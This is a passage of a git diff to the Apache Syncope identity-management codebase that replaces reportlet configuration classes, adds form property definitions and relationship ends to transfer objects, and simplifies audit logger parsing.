getGroupMatchingCond() { - return groupMatchingCond; - } - - public void setGroupMatchingCond(final String groupMatchingCond) { - this.groupMatchingCond = groupMatchingCond; - } - - public String getAnyObjectMatchingCond() { - return anyObjectMatchingCond; - } - - public void setAnyObjectMatchingCond(final String anyObjectMatchingCond) { - this.anyObjectMatchingCond = anyObjectMatchingCond; - } - - @JacksonXmlElementWrapper(localName = "features") - @JacksonXmlProperty(localName = "feature") - public List getFeatures() { - return features; - } -} diff --git a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/report/ReportletConf.java b/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/report/ReportConf.java similarity index 83% rename from common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/report/ReportletConf.java rename to common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/report/ReportConf.java index 0f3777f2a0e..f95c1a8f648 100644 --- a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/report/ReportletConf.java +++ b/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/report/ReportConf.java @@ -21,14 +21,6 @@ import com.fasterxml.jackson.annotation.JsonTypeInfo; import org.apache.syncope.common.lib.BaseBean; -@FunctionalInterface @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS, include = JsonTypeInfo.As.PROPERTY, property = "_class") -public interface ReportletConf extends BaseBean { - - /** - * Give name of related reportlet instance. - * - * @return name of this reportlet instance - */ - String getName(); +public interface ReportConf extends BaseBean { } diff --git a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/report/StaticReportletConf.java b/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/report/StaticReportletConf.java deleted file mode 100644 index 17aacc01dc8..00000000000 --- a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/report/StaticReportletConf.java +++ /dev/null @@ -1,97 +0,0 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one - * or more contributor license agreements. See the NOTICE file - * distributed with this work for additional information - * regarding copyright ownership. The ASF licenses this file - * to you under the Apache License, Version 2.0 (the - * "License"); you may not use this file except in compliance - * with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, - * software distributed under the License is distributed on an - * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY - * KIND, either express or implied. See the License for the - * specific language governing permissions and limitations - * under the License. - */ -package org.apache.syncope.common.lib.report; - -import com.fasterxml.jackson.dataformat.xml.annotation.JacksonXmlElementWrapper; -import com.fasterxml.jackson.dataformat.xml.annotation.JacksonXmlProperty; -import java.time.OffsetDateTime; -import java.util.ArrayList; -import java.util.List; -import org.apache.syncope.common.lib.types.TraceLevel; - -public class StaticReportletConf extends AbstractReportletConf { - - private static final long serialVersionUID = -4814950086361753689L; - - private String stringField; - - private Long longField; - - private Double doubleField; - - private OffsetDateTime dateField; - - private TraceLevel traceLevel; - - private final List listField = new ArrayList<>(); - - public StaticReportletConf() { - super(); - } - - public StaticReportletConf(final String name) { - super(name); - } - - public OffsetDateTime getDateField() { - return dateField; - } - - public void setDateField(final OffsetDateTime dateField) { - this.dateField = dateField; - } - - public Double getDoubleField() { - return doubleField; - } - - public void setDoubleField(final Double doubleField) { - this.doubleField = doubleField; - } - - @JacksonXmlElementWrapper(localName = "listField") - @JacksonXmlProperty(localName = "field") - public List getListField() { - return listField; - } - - public Long getLongField() { - return longField; - } - - public void setLongField(final Long longField) { - this.longField = longField; - } - - public String getStringField() { - return stringField; - } - - public void setStringField(final String stringField) { - this.stringField = stringField; - } - - public TraceLevel getTraceLevel() { - return traceLevel; - } - - public void setTraceLevel(final TraceLevel traceLevel) { - this.traceLevel = traceLevel; - } -} diff --git a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/report/UserReportletConf.java b/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/report/UserReportletConf.java deleted file mode 100644 index 1c50bf35488..00000000000 --- a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/report/UserReportletConf.java +++ /dev/null @@ -1,105 +0,0 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one - * or more contributor license agreements. See the NOTICE file - * distributed with this work for additional information - * regarding copyright ownership. The ASF licenses this file - * to you under the Apache License, Version 2.0 (the - * "License"); you may not use this file except in compliance - * with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, - * software distributed under the License is distributed on an - * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY - * KIND, either express or implied. See the License for the - * specific language governing permissions and limitations - * under the License. - */ -package org.apache.syncope.common.lib.report; - -import com.fasterxml.jackson.dataformat.xml.annotation.JacksonXmlElementWrapper; -import com.fasterxml.jackson.dataformat.xml.annotation.JacksonXmlProperty; -import java.util.ArrayList; -import java.util.List; -import org.apache.syncope.common.lib.Schema; -import org.apache.syncope.common.lib.types.AnyTypeKind; -import org.apache.syncope.common.lib.types.SchemaType; - -public class UserReportletConf extends AbstractAnyReportletConf { - - private static final long serialVersionUID = 6602717600064602764L; - - @Schema(anyTypeKind = AnyTypeKind.USER, type = { SchemaType.PLAIN }) - private final List plainAttrs = new ArrayList<>(); - - @Schema(anyTypeKind = AnyTypeKind.USER, type = { SchemaType.DERIVED }) - private final List derAttrs = new ArrayList<>(); - - @Schema(anyTypeKind = AnyTypeKind.USER, type = { SchemaType.VIRTUAL }) - private final List virAttrs = new ArrayList<>(); - - public enum Feature { - - key, - username, - status, - creator, - creationDate, - lastModifier, - lastChangeDate, - lastLoginDate, - changePwdDate, - passwordHistorySize, - failedLoginCount, - relationships, - memberships, - resources - - } - - @SearchCondition(type = "USER") - protected String matchingCond; - - @JacksonXmlElementWrapper(localName = "plainAttrs") - @JacksonXmlProperty(localName = "plainAttr") - public List getPlainAttrs() { - return plainAttrs; - } - - @JacksonXmlElementWrapper(localName = "derAttrs") - @JacksonXmlProperty(localName = "derAttr") - public List getDerAttrs() { - return derAttrs; - } - - @JacksonXmlElementWrapper(localName = "virAttrs") - @JacksonXmlProperty(localName = "virAttr") - public List getVirAttrs() { - return virAttrs; - } - - private final List features = new ArrayList<>(); - - public UserReportletConf() { - super(); - } - - public UserReportletConf(final String name) { - super(name); - } - - public String getMatchingCond() { - return matchingCond; - } - - public void setMatchingCond(final String matchingCond) { - this.matchingCond = matchingCond; - } - - @JacksonXmlElementWrapper(localName = "features") - @JacksonXmlProperty(localName = "feature") - public List getFeatures() { - return features; - } -} diff --git a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/request/PasswordPatch.java b/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/request/PasswordPatch.java index c681ede5249..6202c05ec19 100644 --- a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/request/PasswordPatch.java +++ b/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/request/PasswordPatch.java @@ -60,7 +60,6 @@ public Builder resources(final Collection resources) { } return this; } - } /** diff --git a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/request/StatusR.java b/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/request/StatusR.java index ea68c497353..8e6568753b8 100644 --- a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/request/StatusR.java +++ b/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/request/StatusR.java @@ -30,6 +30,11 @@ public class StatusR extends PasswordPatch { public static class Builder extends PasswordPatch.Builder { + public Builder(final String key, final StatusRType type) { + getInstance().setKey(key); + getInstance().setType(type); + } + @Override protected StatusR newInstance() { return new StatusR(); @@ -65,16 +70,6 @@ public Builder resources(final String... resources) { return (Builder) super.resources(resources); } - public Builder key(final String key) { - getInstance().setKey(key); - return this; - } - - public Builder type(final StatusRType type) { - getInstance().setType(type); - return this; - } - public Builder token(final String token) { getInstance().setToken(token); return this; diff --git a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/request/UserUR.java b/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/request/UserUR.java index 6bda4c36a18..c0873e0b921 100644 --- a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/request/UserUR.java +++ b/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/request/UserUR.java @@ -18,6 +18,7 @@ */ package org.apache.syncope.common.lib.request; +import com.fasterxml.jackson.annotation.JsonIgnore; import com.fasterxml.jackson.annotation.JsonProperty; import com.fasterxml.jackson.dataformat.xml.annotation.JacksonXmlElementWrapper; import com.fasterxml.jackson.dataformat.xml.annotation.JacksonXmlProperty; @@ -208,14 +209,24 @@ public List getLinkedAccounts() { return linkedAccounts; } - @Override - public boolean isEmpty() { + @JsonIgnore + protected boolean isEmptyNotConsideringPassword() { return super.isEmpty() - && username == null && password == null && securityQuestion == null && securityAnswer == null + && username == null && securityQuestion == null && securityAnswer == null && mustChangePassword == null && relationships.isEmpty() && memberships.isEmpty() && roles.isEmpty() && linkedAccounts.isEmpty(); } + @JsonIgnore + public boolean isEmptyButPassword() { + return isEmptyNotConsideringPassword() && password != null; + } + + @Override + public boolean isEmpty() { + return isEmptyNotConsideringPassword() && password == null; + } + @Override public int hashCode() { return new HashCodeBuilder(). diff --git a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/search/AnyObjectFiqlSearchConditionBuilder.java b/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/search/AnyObjectFiqlSearchConditionBuilder.java index c2d88953662..7a21044bf88 100644 --- a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/search/AnyObjectFiqlSearchConditionBuilder.java +++ b/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/search/AnyObjectFiqlSearchConditionBuilder.java @@ -67,16 +67,16 @@ public AnyObjectCompleteCondition notInGroups(final String group, final String.. notInGroups(group, moreGroups); } - public AnyObjectCompleteCondition inRelationships(final String anyType, final String... moreAnyTypes) { + public AnyObjectCompleteCondition inRelationships(final String anyObject, final String... moreAnyObjects) { return newBuilderInstance(). is(SpecialAttr.RELATIONSHIPS.toString()). - inRelationships(anyType, moreAnyTypes); + inRelationships(anyObject, moreAnyObjects); } - public AnyObjectCompleteCondition notInRelationships(final String anyType, final String... moreAnyTypes) { + public AnyObjectCompleteCondition notInRelationships(final String anyObject, final String... moreAnyObjects) { return newBuilderInstance(). is(SpecialAttr.RELATIONSHIPS.toString()). - notInRelationships(anyType, moreAnyTypes); + notInRelationships(anyObject, moreAnyObjects); } public AnyObjectCompleteCondition inRelationshipTypes(final String type, final String... moreTypes) { @@ -91,12 +91,6 @@ public AnyObjectCompleteCondition notInRelationshipTypes(final String type, fina notInRelationshipTypes(type, moreTypes); } - public AnyObjectCompleteCondition isAssignable() { - return newBuilderInstance(). - is(SpecialAttr.ASSIGNABLE.toString()). - isAssignable(); - } - protected class Builder extends AbstractFiqlSearchConditionBuilder.Builder< AnyObjectProperty, AnyObjectPartialCondition, AnyObjectCompleteCondition> implements AnyObjectProperty, AnyObjectPartialCondition, AnyObjectCompleteCondition { @@ -157,11 +151,5 @@ public AnyObjectCompleteCondition notInRelationshipTypes(final String type, fina this.result = SpecialAttr.RELATIONSHIP_TYPES.toString(); return condition(FiqlParser.NEQ, type, (Object[]) moreTypes); } - - @Override - public AnyObjectCompleteCondition isAssignable() { - this.result = SpecialAttr.ASSIGNABLE.toString(); - return condition(FiqlParser.EQ, SpecialAttr.NULL); - } } } diff --git a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/search/AnyObjectProperty.java b/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/search/AnyObjectProperty.java index 24cd9436e13..755d1d935a7 100644 --- a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/search/AnyObjectProperty.java +++ b/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/search/AnyObjectProperty.java @@ -31,6 +31,4 @@ public interface AnyObjectProperty extends SyncopeProperty { - GroupCompleteCondition isAssignable(); - GroupCompleteCondition withMembers(String member, String... moreMembers); GroupCompleteCondition withoutMembers(String member, String... moreMembers); diff --git a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/search/SpecialAttr.java b/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/search/SpecialAttr.java index 3bd37291bc9..4d960c18154 100644 --- a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/search/SpecialAttr.java +++ b/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/search/SpecialAttr.java @@ -66,11 +66,7 @@ public enum SpecialAttr { /** * Applies to groups. */ - MEMBER("$member"), - /** - * Applies to groups and any objects. - */ - ASSIGNABLE("$assignable"); + MEMBER("$member"); private final String literal; diff --git a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/search/UserFiqlSearchConditionBuilder.java b/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/search/UserFiqlSearchConditionBuilder.java index 71447c8845f..76b3cf201cd 100644 --- a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/search/UserFiqlSearchConditionBuilder.java +++ b/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/search/UserFiqlSearchConditionBuilder.java @@ -52,16 +52,16 @@ public UserCompleteCondition notInGroups(final String group, final String... mor notInGroups(group, moreGroups); } - public UserCompleteCondition inRelationships(final String anyType, final String... moreAnyTypes) { + public UserCompleteCondition inRelationships(final String anyObject, final String... moreAnyObjects) { return newBuilderInstance(). is(SpecialAttr.RELATIONSHIPS.toString()). - inRelationships(anyType, moreAnyTypes); + inRelationships(anyObject, moreAnyObjects); } - public UserCompleteCondition notInRelationships(final String anyType, final String... moreAnyTypes) { + public UserCompleteCondition notInRelationships(final String anyObject, final String... moreAnyObjects) { return newBuilderInstance(). is(SpecialAttr.RELATIONSHIPS.toString()). - notInRelationships(anyType, moreAnyTypes); + notInRelationships(anyObject, moreAnyObjects); } public UserCompleteCondition inRelationshipTypes(final String type, final String... moreTypes) { diff --git a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/to/FormPropertyDefTO.java b/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/to/FormPropertyDefTO.java new file mode 100644 index 00000000000..a7c5df45aa2 --- /dev/null +++ b/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/to/FormPropertyDefTO.java @@ -0,0 +1,201 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.common.lib.to; + +import com.fasterxml.jackson.annotation.JsonIgnore; +import java.util.HashMap; +import java.util.LinkedHashMap; +import java.util.Locale; +import java.util.Map; +import java.util.regex.Pattern; +import org.apache.commons.lang3.builder.EqualsBuilder; +import org.apache.commons.lang3.builder.HashCodeBuilder; +import org.apache.syncope.common.lib.form.FormPropertyType; + +public class FormPropertyDefTO implements NamedEntityTO { + + private static final long serialVersionUID = -6862109424380661428L; + + private String key; + + private String name; + + private final Map labels = new HashMap<>(); + + private FormPropertyType type; + + private boolean readable = true; + + private boolean writable = true; + + private boolean required; + + private Pattern stringRegEx; + + private String datePattern; + + private final Map enumValues = new LinkedHashMap<>(); + + private boolean dropdownSingleSelection = true; + + private boolean dropdownFreeForm; + + @Override + public String getKey() { + return key; + } + + @Override + public void setKey(final String key) { + this.key = key; + } + + @Override + public String getName() { + return name; + } + + @Override + public void setName(final String name) { + this.name = name; + } + + @JsonIgnore + public String getLabel(final Locale locale) { + return labels.getOrDefault(locale, key); + } + + public Map getLabels() { + return labels; + } + + public FormPropertyType getType() { + return type; + } + + public void setType(final FormPropertyType type) { + this.type = type; + } + + public boolean isReadable() { + return readable; + } + + public void setReadable(final boolean readable) { + this.readable = readable; + } + + public boolean isWritable() { + return writable; + } + + public void setWritable(final boolean writable) { + this.writable = writable; + } + + public boolean isRequired() { + return required; + } + + public void setRequired(final boolean required) { + this.required = required; + } + + public Pattern getStringRegEx() { + return stringRegEx; + } + + public void setStringRegEx(final Pattern stringRegEx) { + this.stringRegEx = stringRegEx; + } + + public String getDatePattern() { + return datePattern; + } + + public void setDatePattern(final String datePattern) { + this.datePattern = datePattern; + } + + public Map getEnumValues() { + return enumValues; + } + + public boolean isDropdownSingleSelection() { + return dropdownSingleSelection; + } + + public void setDropdownSingleSelection(final boolean dropdownSingleSelection) { + this.dropdownSingleSelection = dropdownSingleSelection; + } + + public boolean isDropdownFreeForm() { + return dropdownFreeForm; + } + + public void setDropdownFreeForm(final boolean dropdownFreeForm) { + this.dropdownFreeForm = dropdownFreeForm; + } + + @Override + public int hashCode() { + return new HashCodeBuilder(). + append(key). + append(name). + append(labels). + append(type). + append(readable). + append(writable). + append(required). + append(stringRegEx). + append(datePattern). + append(enumValues). + append(dropdownSingleSelection). + append(dropdownFreeForm). + build(); + } + + @Override + public boolean equals(final Object obj) { + if (this == obj) { + return true; + } + if (obj == null) { + return false; + } + if (getClass() != obj.getClass()) { + return false; + } + FormPropertyDefTO other = (FormPropertyDefTO) obj; + return new EqualsBuilder(). + append(key, other.key). + append(name, other.name). + append(labels, other.labels). + append(type, other.type). + append(readable, other.readable). + append(writable, other.writable). + append(required, other.required). + append(stringRegEx, other.stringRegEx). + append(datePattern, other.datePattern). + append(enumValues, other.enumValues). + append(dropdownSingleSelection, other.dropdownSingleSelection). + append(dropdownFreeForm, other.dropdownFreeForm). + build(); + } +} diff --git a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/to/Item.java b/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/to/Item.java index 1cd85207c96..82f147cd021 100644 --- a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/to/Item.java +++ b/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/to/Item.java @@ -35,44 +35,44 @@ public class Item implements Serializable { * Attribute schema to be mapped. Consider other we can associate tha same attribute schema more than once, with * different aliases, to different resource attributes. */ - private String intAttrName; + protected String intAttrName; /** * External resource's field to be mapped. */ - private String extAttrName; + protected String extAttrName; /** * Specify if the mapped target resource's field is the key. */ - private boolean connObjectKey; + protected boolean connObjectKey; /** * Specify if the mapped target resource's field is the password. */ - private boolean password; + protected boolean password; /** * Specify if the mapped target resource's field is nullable. */ - private String mandatoryCondition = "false"; + protected String mandatoryCondition = "false"; /** * Mapping purposes. */ - private MappingPurpose purpose; + protected MappingPurpose purpose; /** * (Optional) JEXL expression to apply to values before propagation. */ - private String propagationJEXLTransformer; + protected String propagationJEXLTransformer; /** * (Optional) JEXL expression to apply to values before pull. */ - private String pullJEXLTransformer; + protected String pullJEXLTransformer; - private final List transformers = new ArrayList<>(); + protected final List transformers = new ArrayList<>(); public boolean isConnObjectKey() { return connObjectKey; diff --git a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/to/MacroTaskTO.java b/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/to/MacroTaskTO.java index 8f9277851c7..1685d72aea3 100644 --- a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/to/MacroTaskTO.java +++ b/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/to/MacroTaskTO.java @@ -41,6 +41,10 @@ public class MacroTaskTO extends SchedTaskTO { private boolean saveExecs = true; + private final List formPropertyDefs = new ArrayList<>(); + + private String macroActions; + @JacksonXmlProperty(localName = "_class", isAttribute = true) @JsonProperty("_class") @Schema(name = "_class", requiredMode = Schema.RequiredMode.REQUIRED, @@ -80,6 +84,20 @@ public void setSaveExecs(final boolean saveExecs) { this.saveExecs = saveExecs; } + @JacksonXmlElementWrapper(localName = "formPropertyDefs") + @JacksonXmlProperty(localName = "formPropertyDef") + public List getFormPropertyDefs() { + return formPropertyDefs; + } + + public String getMacroActions() { + return macroActions; + } + + public void setMacroActions(final String macroActions) { + this.macroActions = macroActions; + } + @Override public int hashCode() { return new HashCodeBuilder(). @@ -88,6 +106,8 @@ public int hashCode() { append(commands). append(continueOnError). append(saveExecs). + append(formPropertyDefs). + append(macroActions). build(); } @@ -109,6 +129,8 @@ public boolean equals(final Object obj) { append(commands, other.commands). append(continueOnError, other.continueOnError). append(saveExecs, other.saveExecs). + append(formPropertyDefs, other.formPropertyDefs). + append(macroActions, other.macroActions). build(); } } diff --git a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/to/RealmTO.java b/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/to/RealmTO.java index 7673f17d2ac..de6ffd676c7 100644 --- a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/to/RealmTO.java +++ b/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/to/RealmTO.java @@ -50,6 +50,8 @@ public class RealmTO implements NamedEntityTO, TemplatableTO { private String attrReleasePolicy; + private String ticketExpirationPolicy; + private final List actions = new ArrayList<>(); private final Map templates = new HashMap<>(); @@ -133,6 +135,14 @@ public void setAttrReleasePolicy(final String attrReleasePolicy) { this.attrReleasePolicy = attrReleasePolicy; } + public String getTicketExpirationPolicy() { + return ticketExpirationPolicy; + } + + public void setTicketExpirationPolicy(final String ticketExpirationPolicy) { + this.ticketExpirationPolicy = ticketExpirationPolicy; + } + @JacksonXmlElementWrapper(localName = "actions") @JacksonXmlProperty(localName = "action") public List getActions() { @@ -172,6 +182,7 @@ public boolean equals(final Object obj) { append(authPolicy, other.authPolicy). append(accessPolicy, other.accessPolicy). append(attrReleasePolicy, other.attrReleasePolicy). + append(ticketExpirationPolicy, other.ticketExpirationPolicy). append(actions, other.actions). append(templates, other.templates). append(resources, other.resources). @@ -190,6 +201,7 @@ public int hashCode() { append(authPolicy). append(accessPolicy). append(attrReleasePolicy). + append(ticketExpirationPolicy). append(actions). append(templates). append(resources). diff --git a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/to/RelationshipTO.java b/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/to/RelationshipTO.java index fd491cea37b..9a71f94eccc 100644 --- a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/to/RelationshipTO.java +++ b/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/to/RelationshipTO.java @@ -26,13 +26,23 @@ public class RelationshipTO implements BaseBean { private static final long serialVersionUID = 360672942026613929L; + public enum End { + LEFT, + RIGHT; + } + public static class Builder { private final RelationshipTO instance = new RelationshipTO(); - public Builder type(final String type) { + public Builder(final String type) { instance.setType(type); - return this; + instance.setEnd(End.LEFT); + } + + public Builder(final String type, final End end) { + instance.setType(type); + instance.setEnd(end); } public Builder otherEnd(final String otherEndType, final String otherEndKey) { @@ -55,6 +65,8 @@ public RelationshipTO build() { private String type; + private End end; + private String otherEndType; private String otherEndKey; @@ -93,6 +105,14 @@ public void setOtherEndName(final String otherEndName) { this.otherEndName = otherEndName; } + public End getEnd() { + return end; + } + + public void setEnd(final End end) { + this.end = end; + } + @Override public int hashCode() { return new HashCodeBuilder(). @@ -100,6 +120,7 @@ public int hashCode() { append(otherEndType). append(otherEndKey). append(otherEndName). + append(end). build(); } @@ -120,6 +141,7 @@ public boolean equals(final Object obj) { append(otherEndType, other.otherEndType). append(otherEndKey, other.otherEndKey). append(otherEndName, other.otherEndName). + append(end, other.end). build(); } } diff --git a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/to/ReportTO.java b/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/to/ReportTO.java index 0bb1055fbf0..d75a41ede8c 100644 --- a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/to/ReportTO.java +++ b/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/to/ReportTO.java @@ -35,10 +35,16 @@ public class ReportTO extends AbstractStartEndBean implements NamedEntityTO { private String name; - private final List reportlets = new ArrayList<>(); + private String mimeType; + + private String fileExt; private String cronExpression; + private String jobDelegate; + + private boolean active; + private final List executions = new ArrayList<>(); private String latestExecStatus; @@ -47,10 +53,6 @@ public class ReportTO extends AbstractStartEndBean implements NamedEntityTO { private OffsetDateTime nextExec; - private boolean active; - - private String template; - private String lastExecutor; @Override @@ -74,10 +76,20 @@ public void setName(final String name) { this.name = name; } - @JacksonXmlElementWrapper(localName = "reportlets") - @JacksonXmlProperty(localName = "reportlets") - public List getReportlets() { - return reportlets; + public String getMimeType() { + return mimeType; + } + + public void setMimeType(final String mimeType) { + this.mimeType = mimeType; + } + + public String getFileExt() { + return fileExt; + } + + public void setFileExt(final String fileExt) { + this.fileExt = fileExt; } public String getCronExpression() { @@ -88,6 +100,14 @@ public void setCronExpression(final String cronExpression) { this.cronExpression = cronExpression; } + public String getJobDelegate() { + return jobDelegate; + } + + public void setJobDelegate(final String jobDelegate) { + this.jobDelegate = jobDelegate; + } + @JacksonXmlElementWrapper(localName = "executions") @JacksonXmlProperty(localName = "execution") public List getExecutions() { @@ -126,14 +146,6 @@ public void setActive(final boolean active) { this.active = active; } - public String getTemplate() { - return template; - } - - public void setTemplate(final String template) { - this.template = template; - } - public String getLastExecutor() { return lastExecutor; } @@ -148,14 +160,15 @@ public int hashCode() { appendSuper(super.hashCode()). append(key). append(name). - append(reportlets). + append(mimeType). + append(fileExt). append(cronExpression). + append(jobDelegate). append(executions). append(latestExecStatus). append(lastExec). append(nextExec). append(active). - append(template). append(lastExecutor). build(); } @@ -176,14 +189,15 @@ public boolean equals(final Object obj) { appendSuper(super.equals(obj)). append(key, other.key). append(name, other.name). - append(reportlets, other.reportlets). + append(mimeType, other.mimeType). + append(fileExt, other.fileExt). append(cronExpression, other.cronExpression). + append(jobDelegate, other.jobDelegate). append(executions, other.executions). append(latestExecStatus, other.latestExecStatus). append(lastExec, other.lastExec). append(nextExec, other.nextExec). append(active, other.active). - append(template, other.template). append(lastExecutor, other.lastExecutor). build(); } diff --git a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/types/AuditElements.java b/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/types/AuditElements.java index b3a336611a6..9505ccd549c 100644 --- a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/types/AuditElements.java +++ b/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/types/AuditElements.java @@ -33,6 +33,7 @@ public enum EventCategoryType { LOGIC, WA, TASK, + REPORT, PROPAGATION, PULL, PUSH, diff --git a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/types/AuditLoggerName.java b/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/types/AuditLoggerName.java index 5750fcd9dd6..b3440c945f2 100644 --- a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/types/AuditLoggerName.java +++ b/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/types/AuditLoggerName.java @@ -20,7 +20,6 @@ import com.fasterxml.jackson.annotation.JsonCreator; import com.fasterxml.jackson.annotation.JsonProperty; -import java.text.ParseException; import java.util.Map; import java.util.Optional; import org.apache.commons.lang3.StringUtils; @@ -46,97 +45,13 @@ public static String getAuditEventLoggerName(final String domain, final String l return domain + '.' + loggerName; } - private final EventCategoryType type; - - private final String category; - - private final String subcategory; - - private final String event; - - private final Result result; - - @JsonCreator - public AuditLoggerName( - @JsonProperty("type") final AuditElements.EventCategoryType type, - @JsonProperty("category") final String category, - @JsonProperty("subcategory") final String subcategory, - @JsonProperty("event") final String event, - @JsonProperty("result") final Result result) { - - super(); - - this.type = Optional.ofNullable(type).orElse(EventCategoryType.CUSTOM); - this.category = category; - this.subcategory = subcategory; - this.event = event; - this.result = Optional.ofNullable(result).orElse(Result.SUCCESS); - } - - public AuditElements.EventCategoryType getType() { - return type; - } - - public String getEvent() { - return event; - } - - public String getCategory() { - return category; - } - - public Result getResult() { - return result; - } - - public String getSubcategory() { - return subcategory; - } - - public String toAuditKey() { - return new StringBuilder().append(AUDIT_PREFIX).append('.'). - append(buildEvent(type, category, subcategory, event, result)).toString(); - } - - @Override - public int hashCode() { - return new HashCodeBuilder(). - append(type). - append(category). - append(subcategory). - append(event). - append(result). - build(); - } - - @Override - public boolean equals(final Object obj) { - if (this == obj) { - return true; - } - if (obj == null) { - return false; - } - if (getClass() != obj.getClass()) { - return false; - } - final AuditLoggerName other = (AuditLoggerName) obj; - return new EqualsBuilder(). - append(type, other.type). - append(category, other.category). - append(subcategory, other.subcategory). - append(event, other.event). - append(result, other.result). - build(); - } - - public static AuditLoggerName fromAuditKey(final String key) throws ParseException { + public static AuditLoggerName fromAuditKey(final String key) { if (StringUtils.isBlank(key)) { throw new IllegalArgumentException("Null value not permitted"); } if (!key.startsWith(AUDIT_PREFIX)) { - throw new ParseException("Audit logger name must start with " + AUDIT_PREFIX, 0); + throw new IllegalArgumentException("Audit logger name must start with " + AUDIT_PREFIX); } Map.Entry eventCategory = parseEventCategory(key.replace(AUDIT_PREFIX + '.', "")); @@ -163,23 +78,7 @@ public static Pair parseEventCategory(final String event) condition = Result.SUCCESS; eventCategory.getEvents().add(event); } else { - EventCategoryType type; - - if (EventCategoryType.PROPAGATION.name().equals(elements[0])) { - type = EventCategoryType.PROPAGATION; - } else if (EventCategoryType.PULL.name().equals(elements[0])) { - type = EventCategoryType.PULL; - } else if (EventCategoryType.PUSH.name().equals(elements[0])) { - type = EventCategoryType.PUSH; - } else { - try { - type = EventCategoryType.valueOf(elements[0]); - } catch (Exception e) { - type = EventCategoryType.CUSTOM; - } - } - - eventCategory.setType(type); + eventCategory.setType(EventCategoryType.valueOf(elements[0])); eventCategory.setCategory(StringUtils.isNotEmpty(elements[1]) ? elements[1] : null); @@ -205,7 